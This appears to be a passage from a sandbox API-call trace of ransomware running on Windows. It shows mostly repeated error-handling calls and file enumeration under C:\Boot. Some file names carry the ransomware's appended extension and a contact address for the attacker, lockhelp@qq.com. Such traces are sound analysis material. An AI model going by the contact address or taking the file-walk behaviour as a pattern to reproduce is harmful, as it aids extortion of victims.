GetLastError () returned 0x0 [0272.382] SetLastError (dwErrCode=0x0) [0272.382] GetLastError () returned 0x0 [0272.382] SetLastError (dwErrCode=0x0) [0272.383] GetLastError () returned 0x0 [0272.383] SetLastError (dwErrCode=0x0) [0272.383] GetLastError () returned 0x0 [0272.383] SetLastError (dwErrCode=0x0) [0272.383] GetLastError () returned 0x0 [0272.383] SetLastError (dwErrCode=0x0) [0272.383] GetLastError () returned 0x0 [0272.383] SetLastError (dwErrCode=0x0) [0272.383] GetLastError () returned 0x0 [0272.383] SetLastError (dwErrCode=0x0) [0272.383] GetLastError () returned 0x0 [0272.383] SetLastError (dwErrCode=0x0) [0272.383] GetLastError () returned 0x0 [0272.383] SetLastError (dwErrCode=0x0) [0272.383] GetLastError () returned 0x0 [0272.383] SetLastError (dwErrCode=0x0) [0272.383] GetLastError () returned 0x0 [0272.383] SetLastError (dwErrCode=0x0) [0272.383] GetLastError () returned 0x0 [0272.383] SetLastError (dwErrCode=0x0) [0272.383] GetLastError () returned 0x0 [0272.383] SetLastError (dwErrCode=0x0) [0272.383] GetLastError () returned 0x0 [0272.384] SetLastError (dwErrCode=0x0) [0272.384] GetLastError () returned 0x0 [0272.384] SetLastError (dwErrCode=0x0) [0272.384] GetLastError () returned 0x0 [0272.384] SetLastError (dwErrCode=0x0) [0272.384] GetLastError () returned 0x0 [0272.384] SetLastError (dwErrCode=0x0) [0272.384] GetLastError () returned 0x0 [0272.384] SetLastError (dwErrCode=0x0) [0272.384] GetLastError () returned 0x0 [0272.384] SetLastError (dwErrCode=0x0) [0272.384] GetLastError () returned 0x0 [0272.384] SetLastError (dwErrCode=0x0) [0272.384] GetLastError () returned 0x0 [0272.384] SetLastError (dwErrCode=0x0) [0272.384] GetLastError () returned 0x0 [0272.384] SetLastError (dwErrCode=0x0) [0272.384] GetLastError () returned 0x0 [0272.384] SetLastError (dwErrCode=0x0) [0272.384] GetLastError () returned 0x0 [0272.384] SetLastError (dwErrCode=0x0) [0272.384] GetLastError () returned 0x0 [0272.384] SetLastError (dwErrCode=0x0) [0272.385] GetLastError () returned 0x0 [0272.385] SetLastError (dwErrCode=0x0) [0272.385] GetLastError () returned 0x0 [0272.385] SetLastError (dwErrCode=0x0) [0272.385] GetLastError () returned 0x0 [0272.385] SetLastError (dwErrCode=0x0) [0272.385] GetLastError () returned 0x0 [0272.385] SetLastError (dwErrCode=0x0) [0272.385] GetLastError () returned 0x0 [0272.385] SetLastError (dwErrCode=0x0) [0272.385] GetLastError () returned 0x0 [0272.385] SetLastError (dwErrCode=0x0) [0272.385] GetLastError () returned 0x0 [0272.385] SetLastError (dwErrCode=0x0) [0272.385] GetLastError () returned 0x0 [0272.385] SetLastError (dwErrCode=0x0) [0272.385] GetLastError () returned 0x0 [0272.385] SetLastError (dwErrCode=0x0) [0272.385] GetLastError () returned 0x0 [0272.385] SetLastError (dwErrCode=0x0) [0272.385] GetLastError () returned 0x0 [0272.385] SetLastError (dwErrCode=0x0) [0272.385] GetLastError () returned 0x0 [0272.386] SetLastError (dwErrCode=0x0) [0272.386] GetLastError () returned 0x0 [0272.386] SetLastError (dwErrCode=0x0) [0272.386] GetLastError () returned 0x0 [0272.386] SetLastError (dwErrCode=0x0) [0272.386] GetLastError () returned 0x0 [0272.386] SetLastError (dwErrCode=0x0) [0272.386] GetLastError () returned 0x0 [0272.386] SetLastError (dwErrCode=0x0) [0272.386] GetLastError () returned 0x0 [0272.386] SetLastError (dwErrCode=0x0) [0272.386] GetLastError () returned 0x0 [0272.386] SetLastError (dwErrCode=0x0) [0272.386] GetLastError () returned 0x0 [0272.386] SetLastError (dwErrCode=0x0) [0272.386] GetLastError () returned 0x0 [0272.386] SetLastError (dwErrCode=0x0) [0272.386] GetLastError () returned 0x0 [0272.386] SetLastError (dwErrCode=0x0) [0272.386] GetLastError () returned 0x0 [0272.387] SetLastError (dwErrCode=0x0) [0272.387] GetLastError () returned 0x0 [0272.387] SetLastError (dwErrCode=0x0) [0272.387] GetLastError () returned 0x0 [0272.387] SetLastError (dwErrCode=0x0) [0272.387] GetLastError () returned 0x0 [0272.387] SetLastError (dwErrCode=0x0) [0272.387] GetLastError () returned 0x0 [0272.387] SetLastError (dwErrCode=0x0) [0272.387] GetLastError () returned 0x0 [0272.387] SetLastError (dwErrCode=0x0) [0272.387] GetLastError () returned 0x0 [0272.387] SetLastError (dwErrCode=0x0) [0272.387] GetLastError () returned 0x0 [0272.387] SetLastError (dwErrCode=0x0) [0272.387] GetLastError () returned 0x0 [0272.387] SetLastError (dwErrCode=0x0) [0272.387] GetLastError () returned 0x0 [0272.387] SetLastError (dwErrCode=0x0) [0272.387] GetLastError () returned 0x0 [0272.387] SetLastError (dwErrCode=0x0) [0272.387] GetLastError () returned 0x0 [0272.387] SetLastError (dwErrCode=0x0) [0272.388] GetLastError () returned 0x0 [0272.388] SetLastError (dwErrCode=0x0) [0272.388] GetLastError () returned 0x0 [0272.388] SetLastError (dwErrCode=0x0) [0272.388] GetLastError () returned 0x0 [0272.388] SetLastError (dwErrCode=0x0) [0272.388] GetLastError () returned 0x0 [0272.388] SetLastError (dwErrCode=0x0) [0272.388] GetLastError () returned 0x0 [0272.388] SetLastError (dwErrCode=0x0) [0272.388] GetLastError () returned 0x0 [0272.388] SetLastError (dwErrCode=0x0) [0272.388] GetLastError () returned 0x0 [0272.388] SetLastError (dwErrCode=0x0) [0272.388] GetLastError () returned 0x0 [0272.388] SetLastError (dwErrCode=0x0) [0272.388] GetLastError () returned 0x0 [0272.389] SetLastError (dwErrCode=0x0) [0272.389] GetLastError () returned 0x0 [0272.389] SetLastError (dwErrCode=0x0) [0272.389] GetLastError () returned 0x0 [0272.389] SetLastError (dwErrCode=0x0) [0272.389] GetLastError () returned 0x0 [0272.389] SetLastError (dwErrCode=0x0) [0272.389] GetLastError () returned 0x0 [0272.389] SetLastError (dwErrCode=0x0) [0272.389] GetLastError () returned 0x0 [0272.389] SetLastError (dwErrCode=0x0) [0272.389] GetLastError () returned 0x0 [0272.389] SetLastError (dwErrCode=0x0) [0272.389] GetLastError () returned 0x0 [0272.389] SetLastError (dwErrCode=0x0) [0272.389] GetLastError () returned 0x0 [0272.389] SetLastError (dwErrCode=0x0) [0272.389] GetLastError () returned 0x0 [0272.390] SetLastError (dwErrCode=0x0) [0272.390] SetEvent (hEvent=0x2d4) returned 1 [0272.390] ResetEvent (hEvent=0x2d8) returned 1 [0272.390] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8967a610, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x8967a610, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x896c68d0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x7c0000, dwReserved1=0x842fe8, cFileName="desktop.ini.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="DESKTO~1.ACU")) returned 1 [0272.390] GetLastError () returned 0x0 [0272.390] SetLastError (dwErrCode=0x0) [0272.390] GetLastError () returned 0x0 [0272.390] SetLastError (dwErrCode=0x0) [0272.390] GetLastError () returned 0x0 [0272.390] SetLastError (dwErrCode=0x0) [0272.390] GetLastError () returned 0x0 [0272.390] SetLastError (dwErrCode=0x0) [0272.390] GetLastError () returned 0x0 [0272.390] SetLastError (dwErrCode=0x0) [0272.390] GetLastError () returned 0x0 [0272.390] SetLastError (dwErrCode=0x0) [0272.390] GetLastError () returned 0x0 [0272.390] SetLastError (dwErrCode=0x0) [0272.390] GetLastError () returned 0x0 [0272.390] SetLastError (dwErrCode=0x0) [0272.390] GetLastError () returned 0x0 [0272.390] SetLastError (dwErrCode=0x0) [0272.391] GetLastError () returned 0x0 [0272.391] SetLastError (dwErrCode=0x0) [0272.391] GetLastError () returned 0x0 [0272.391] SetLastError (dwErrCode=0x0) [0272.391] GetLastError () returned 0x0 [0272.391] SetLastError (dwErrCode=0x0) [0272.391] GetLastError () returned 0x0 [0272.391] SetLastError (dwErrCode=0x0) [0272.391] GetLastError () returned 0x0 [0272.391] SetLastError (dwErrCode=0x0) [0272.391] GetLastError () returned 0x0 [0272.391] SetLastError (dwErrCode=0x0) [0272.391] GetLastError () returned 0x0 [0272.391] SetLastError (dwErrCode=0x0) [0272.391] GetLastError () returned 0x0 [0272.391] SetLastError (dwErrCode=0x0) [0272.391] GetLastError () returned 0x0 [0272.391] SetLastError (dwErrCode=0x0) [0272.391] GetLastError () returned 0x0 [0272.391] SetLastError (dwErrCode=0x0) [0272.391] GetLastError () returned 0x0 [0272.391] SetLastError (dwErrCode=0x0) [0272.391] GetLastError () returned 0x0 [0272.392] SetLastError (dwErrCode=0x0) [0272.392] GetLastError () returned 0x0 [0272.392] SetLastError (dwErrCode=0x0) [0272.392] GetLastError () returned 0x0 [0272.392] SetLastError (dwErrCode=0x0) [0272.392] GetLastError () returned 0x0 [0272.392] SetLastError (dwErrCode=0x0) [0272.392] GetLastError () returned 0x0 [0272.392] SetLastError (dwErrCode=0x0) [0272.392] GetLastError () returned 0x0 [0272.392] SetLastError (dwErrCode=0x0) [0272.392] GetLastError () returned 0x0 [0272.392] SetLastError (dwErrCode=0x0) [0272.392] GetLastError () returned 0x0 [0272.392] SetLastError (dwErrCode=0x0) [0272.392] GetLastError () returned 0x0 [0272.392] SetLastError (dwErrCode=0x0) [0272.392] GetLastError () returned 0x0 [0272.392] SetLastError (dwErrCode=0x0) [0272.392] GetLastError () returned 0x0 [0272.392] SetLastError (dwErrCode=0x0) [0272.392] GetLastError () returned 0x0 [0272.393] SetLastError (dwErrCode=0x0) [0272.393] GetLastError () returned 0x0 [0272.393] SetLastError (dwErrCode=0x0) [0272.393] GetLastError () returned 0x0 [0272.393] SetLastError (dwErrCode=0x0) [0272.393] GetLastError () returned 0x0 [0272.393] SetLastError (dwErrCode=0x0) [0272.393] GetLastError () returned 0x0 [0272.393] SetLastError (dwErrCode=0x0) [0272.393] GetLastError () returned 0x0 [0272.393] SetLastError (dwErrCode=0x0) [0272.393] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8967a610, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x8967a610, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x896c68d0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x7c0000, dwReserved1=0x842fe8, cFileName="desktop.ini.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="DESKTO~1.ACU")) returned 0 [0272.393] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.393] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.393] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c26f720, ftLastAccessTime.dwHighDateTime=0x1d52d08, ftLastWriteTime.dwLowDateTime=0x4c26f720, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0272.393] FindClose (in: hFindFile=0x806b58 | out: hFindFile=0x806b58) returned 1 [0272.393] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x355c8e8 | out: hHeap=0x1c0000) returned 1 [0272.393] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x89712b90, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89712b90, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0272.393] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x89712b90, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89712b90, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x806b58 [0272.394] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x89712b90, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89712b90, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0272.394] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD", cAlternateFileName="")) returned 1 [0272.394] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0272.394] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0272.394] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0272.394] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89712b90, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x89712b90, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89712b90, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x10102, dwReserved0=0x44, dwReserved1=0x44, cFileName="BOOTSTAT.DAT.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="BOOTST~1.ACU")) returned 1 [0272.394] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0272.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.395] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.395] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.395] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.395] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.395] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.395] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="da-DK", cAlternateFileName="")) returned 1 [0272.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.395] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.395] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.395] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.395] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.395] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.395] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="de-DE", cAlternateFileName="")) returned 1 [0272.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.396] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.396] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.396] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.396] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.397] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.397] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="el-GR", cAlternateFileName="")) returned 1 [0272.397] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.397] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.397] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, 